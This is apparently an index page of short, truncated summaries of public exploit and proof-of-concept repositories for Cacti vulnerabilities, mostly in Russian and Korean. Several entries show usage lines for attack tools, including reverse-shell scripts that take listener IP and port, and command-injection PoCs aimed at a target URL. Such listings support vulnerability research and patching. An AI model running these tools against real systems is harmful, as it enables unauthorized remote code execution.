CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php Неаутентифицированное внедрение команд. Этот скрипт проверяет только условия CVE-2022-46169. Что такое Cacti? Cacti — это платформа с открытым исходным кодом, предоставляющая пользователям надежную и расширяемую среду для операционного мониторин...

CVE-2020-14295

CVE-2020-14295 Детали уязвимости - https://github.com/Cacti/cacti/issues/3622 Установка pip3 install -r requirements.txt Использование root@kitploit: $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --help...

CVE-2025-22604-Cacti-RCE

CVE-2025-22604-Cacti-RCE...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 Этот эксплойт является модифицированной версией оригинального скрипта от @FredBrave, адаптированной @arthurcortesr и @alv-david. Использование/Примеры root@kitploit: python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X Ожидаемые...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 Авторизованный RCE PoC Этот репозиторий содержит доказательство концепции эксплуатации CVE‑2025‑24367 — уязвимости авторизованного удалённого выполнения кода в Cacti. Проблема связана с недостаточной санитазацией ввода при обработке шаблонов графиков. Внедряя вредоносное...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 인증되지 않은 원격 코드 실행 Python 3 사용 Docker 없이 실행: root@kitploit: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python exploit.py Docker로 실행: root@kitploit: git clone...

CVE-2022-46169

Вот переработанный пояснительный документ: CVE‑2022‑46169 – Пояснение и обзор проекта Cacti: неаутентифицированное удалённое выполнение кода Что это за проект? Это задание по кибербезопасности, в котором демонстрируется CVE‑2022‑46169 : критическая уязвимость в платформе сетевого мониторинга с...

CVE-2026-40083

SQL-инъекция в Cacti managers.php Эксплойт proof-of-concept для CVE-2026-40083, уязвимости SQL-инъекции в managers.php Cacti, которая позволяет любому аутентифицированному пользователю с разрешениями SNMP Manager читать всю базу данных MySQL, включая учетные данные пользователей и хеши паролей...

CVE-2020-8813-Cacti-RCE-in-graph_realtime

CVE-2020-8813 - RCE через graphrealtime.php в Cacti 1.2.8 Возможности RCE через graphrealtime.php в Cacti 1.2.8 Интерактивный режим Выполнение одной команды Подробный режим Описание...

cacti

Cacti Overview Cacti is an open-source network monitoring and graphing platform built on RRDtool. It provides a scalable framework to collect, store, and visualize time-series data from network devices, servers, and applications. Core capabilities include: Automated device discovery Local and...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 Использование: python3 cve-2024-29895.py -u https://target.com/ -c id Затрагивает версии Cacti 1.3.X в DEV-сборках, где присутствует cmdrealtime.php и включён POLLERID. Внедрение команд возможно через эту конечную точку путём GET-запроса с полезной нагрузкой в виде HTML...

CVE-2025-24367-Cacti-PoC

CVE-2025-24367 - Cacti: выполнение произвольного кода через аутентифицированный шаблон графа Использование и безопасность Важно — прочтите это сначала: Этот репозиторий и exploit.py предоставлены только для образовательных и исследовательских целей. Не используйте этот код против систем, сетей ил...

CVE-2022-46169

Cacti remoteagent.php Удаленное выполнение команд CVE-2022-46169 Описание уязвимости Cacti — это платформа для мониторинга и управления серверами. В версиях 1.2.17–1.2.22 существует уязвимость внедрения команд. Злоумышленник может обойти проверку на стороне сервера через заголовок X-Forwarded-For...

CVE-2022-46169

Cacti | 인증 우회 | RCE | CVE-2022-46169 Cacti: Ruby로 작성된 인증되지 않은 원격 코드 실행 익스플로잇 Cacti Docker 이것은 Cacti RCE 취약점CVE-2022-46169에 취약한 도커라이즈된 애플리케이션입니다. Cacti를 실행하려면 링크를 참조하세요. root@kitploit: https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169 사용법 root@kitploit: / | | | / | | \ / | | | | \ ...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC: Обход аутентификации и удаленное выполнение кода Этот репозиторий содержит PoC для уязвимости CVE-2022-46169, которая позволяет злоумышленнику обойти аутентификацию и удаленно выполнить произвольный код в затронутой системе. Уязвимость затрагивает Cacti версии 1.2.22, выпущенн...

CVE-2022-46169

CVE-2022-46169 - Неаутентифицированное удаленное выполнение кода в Cacti Что такое Cacti и его уязвимость? Cacti — это инструмент мониторинга с открытым исходным кодом, написанный на PHP, MySQL/MariaDB, предоставляющий удобный интерфейс. Уязвимость была обнаружена в 2022 году и затрагивает все...

CVE-2022-46169

CVE-2022-46169 POC Это скрипт доказательства концепции POC для уязвимости CVE-2022-46169, затрагивающей Cacti версии 1.2.22. Описание Уязвимость CVE-2022-46169 позволяет неавторизованную инъекцию команд в Cacti версиях до 1.2.22 включительно для достижения неавторизованного удаленного выполнения...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 — это уязвимость безопасности, обнаруженная в Cacti, программном обеспечении для мониторинга и управления сетью. Эта уязвимость позволяет злоумышленнику удаленно эксплуатировать систему без аутентификации путем отправки специально сформированного HTTP-запроса...

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

Cacti 1.2.24 - SQL Injection

Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a SQL injection discovered in graphview.php. Since guest users can access graphview.php without authentication by default, if guest users are being utilized in an enabled state, there...